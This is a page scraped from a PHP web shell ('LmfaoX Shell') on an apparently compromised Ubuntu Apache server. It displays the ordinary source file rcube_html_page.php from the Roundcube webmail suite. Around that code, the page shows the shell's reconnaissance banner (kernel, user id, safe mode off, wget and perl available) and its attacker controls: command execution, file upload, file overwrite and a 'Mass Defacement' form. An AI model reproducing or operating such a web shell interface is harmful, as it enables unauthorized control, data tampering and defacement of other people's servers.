ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.47 GB of 70.42 GB (34.75%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail.1/ program/ include/ - drwxr-xr-x

Directory:
Viewing file:     rcube_html_page.php (9.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | program/include/rcube_html_page.php                                   |
 |                                                                       |
 | This file is part of the Roundcube PHP suite                          |
 | Copyright (C) 2005-2011 The Roundcube Dev Team                       |
 | Licensed under the GNU GPL                                            |
 |                                                                       |
 | CONTENTS:                                                             |
 |   Class to build XHTML page output                                    |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+

 $Id: rcube_html_page.php 5135 2011-08-26 09:22:53Z alec $

*/

/**
 * Class for HTML page creation
 *
 * @package HTML
 */
class rcube_html_page
{
    protected 
$scripts_path '';
    protected 
$script_files = array();
    protected 
$css_files = array();
    protected 
$scripts = array();
    protected 
$charset RCMAIL_CHARSET;

    protected 
$script_tag_file "<script type=\"text/javascript\" src=\"%s\"></script>\n";
    protected 
$script_tag  =  "<script type=\"text/javascript\">\n/* <![CDATA[ */\n%s\n/* ]]> */\n</script>\n";
    protected 
$link_css_file "<link rel=\"stylesheet\" type=\"text/css\" href=\"%s\" />\n";
    protected 
$default_template "<html>\n<head><title></title></head>\n<body></body>\n</html>";

    protected 
$title '';
    protected 
$header '';
    protected 
$footer '';
    protected 
$body '';
    protected 
$base_path '';


    
/** Constructor */
    
public function __construct() {}

    
/**
     * Link an external script file
     *
     * @param string File URL
     * @param string Target position [head|foot]
     */
    
public function include_script($file$position='head')
    {
        static 
$sa_files = array();
        
        if (!
preg_match('|^https?://|i'$file) && $file[0] != '/')
            
$file $this->scripts_path $file . (($fs = @filemtime($this->scripts_path $file)) ? '?s='.$fs '');

        if (
in_array($file$sa_files)) {
            return;
        }

        
$sa_files[] = $file;

        if (!
is_array($this->script_files[$position])) {
            
$this->script_files[$position] = array();
        }
        
$this->script_files[$position][] = $file;
    }

    
/**
     * Add inline javascript code
     *
     * @param string JS code snippet
     * @param string Target position [head|head_top|foot]
     */
    
public function add_script($script$position='head')
    {
        if (!isset(
$this->scripts[$position])) {
            
$this->scripts[$position] = "\n".rtrim($script);
        } else {
            
$this->scripts[$position] .= "\n".rtrim($script);
        }
    }

    
/**
     * Link an external css file
     *
     * @param string File URL
     */
    
public function include_css($file)
    {
        
$this->css_files[] = $file;
    }

    
/**
     * Add HTML code to the page header
     *
     * @param string $str HTML code
     */
    
public function add_header($str)
    {
        
$this->header .= "\n".$str;
    }

    
/**
     * Add HTML code to the page footer
     * To be added right befor </body>
     *
     * @param string $str HTML code
     */
    
public function add_footer($str)
    {
        
$this->footer .= "\n".$str;
    }

    
/**
     * Setter for page title
     *
     * @param string $t Page title
     */
    
public function set_title($t)
    {
        
$this->title $t;
    }

    
/**
     * Setter for output charset.
     * To be specified in a meta tag and sent as http-header
     *
     * @param string $charset Charset
     */
    
public function set_charset($charset)
    {
        
$this->charset $charset;
    }

    
/**
     * Getter for output charset
     *
     * @return string Output charset
     */
    
public function get_charset()
    {
        return 
$this->charset;
    }

    
/**
     * Reset all saved properties
     */
    
public function reset()
    {
        
$this->script_files = array();
        
$this->scripts      = array();
        
$this->title        '';
        
$this->header       '';
        
$this->footer       '';
        
$this->body         '';
    }

    
/**
     * Process template and write to stdOut
     *
     * @param string HTML template
     * @param string Base for absolute paths
     */
    
public function write($templ=''$base_path='')
    {
        
$output = empty($templ) ? $this->default_template trim($templ);

        
// set default page title
        
if (empty($this->title)) {
            
$this->title 'Roundcube Mail';
        }

        
// replace specialchars in content
        
$page_title  Q($this->title'show'FALSE);
        
$page_header '';
        
$page_footer '';

        
// include meta tag with charset
        
if (!empty($this->charset)) {
            if (!
headers_sent()) {
                
header('Content-Type: text/html; charset=' $this->charset);
            }
            
$page_header '<meta http-equiv="content-type"';
            
$page_header.= ' content="text/html; charset=';
            
$page_header.= $this->charset '" />'."\n";
        }

        
// definition of the code to be placed in the document header and footer
        
if (is_array($this->script_files['head'])) {
            foreach (
$this->script_files['head'] as $file) {
                
$page_header .= sprintf($this->script_tag_file$file);
            }
        }

        
$head_script $this->scripts['head_top'] . $this->scripts['head'];
        if (!empty(
$head_script)) {
            
$page_header .= sprintf($this->script_tag$head_script);
        }

        if (!empty(
$this->header)) {
            
$page_header .= $this->header;
        }

        
// put docready commands into page footer
        
if (!empty($this->scripts['docready'])) {
            
$this->add_script('$(document).ready(function(){ ' $this->scripts['docready'] . "\n});"'foot');
        }

        if (
is_array($this->script_files['foot'])) {
            foreach (
$this->script_files['foot'] as $file) {
                
$page_footer .= sprintf($this->script_tag_file$file);
            }
        }

        if (!empty(
$this->footer)) {
            
$page_footer .= $this->footer "\n";
        }

        if (!empty(
$this->scripts['foot'])) {
            
$page_footer .= sprintf($this->script_tag$this->scripts['foot']);
        }

        
// find page header
        
if ($hpos stripos($output'</head>')) {
            
$page_header .= "\n";
        }
        else {
            if (!
is_numeric($hpos)) {
                
$hpos stripos($output'<body');
            }
            if (!
is_numeric($hpos) && ($hpos stripos($output'<html'))) {
                while (
$output[$hpos] != '>') {
                    
$hpos++;
                }
                
$hpos++;
            }
            
$page_header "<head>\n<title>$page_title</title>\n$page_header\n</head>\n";
        }

        
// add page hader
        
if ($hpos) {
            
$output substr_replace($output$page_header$hpos0);
        }
        else {
            
$output $page_header $output;
        }

        
// add page footer
        
if (($fpos strripos($output'</body>')) || ($fpos strripos($output'</html>'))) {
            
$output substr_replace($output$page_footer."\n"$fpos0);
        }
        else {
            
$output .= "\n".$page_footer;
        }

        
// add css files in head, before scripts, for speed up with parallel downloads
        
if (!empty($this->css_files) && 
            ((
$pos stripos($output'<script ')) || ($pos stripos($output'</head>')))
        ) {
            
$css '';
            foreach (
$this->css_files as $file) {
                
$css .= sprintf($this->link_css_file$file);
            }
            
$output substr_replace($output$css$pos0);
        }

        
$this->base_path $base_path;

        
// correct absolute paths in images and other tags
        // add timestamp to .js and .css filename
        
$output preg_replace_callback(
            
'!(src|href|background)=(["\']?)([a-z0-9/_.-]+)(["\'\s>])!i',
            array(
$this'file_callback'), $output);
        
$output str_replace('$__skin_path'$base_path$output);

        
// trigger hook with final HTML content to be sent
        
$hook rcmail::get_instance()->plugins->exec_hook("send_page", array('content' => $output));
        if (!
$hook['abort']) {
            if (
$this->charset != RCMAIL_CHARSET)
                echo 
rcube_charset_convert($hook['content'], RCMAIL_CHARSET$this->charset);
            else
                echo 
$hook['content'];
        }
    }

    
/**
     * Callback function for preg_replace_callback in write()
     *
     * @return string Parsed string
     */
    
private function file_callback($matches)
    {
        
$file $matches[3];

        
// correct absolute paths
        
if ($file[0] == '/')
            
$file $this->base_path $file;

        
// add file modification timestamp
        
if (preg_match('/\.(js|css)$/'$file))
            
$file .= '?s=' . @filemtime($file);

        return 
sprintf("%s=%s%s%s"$matches[1], $matches[2], $file$matches[4]);
    }
}

Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2282 seconds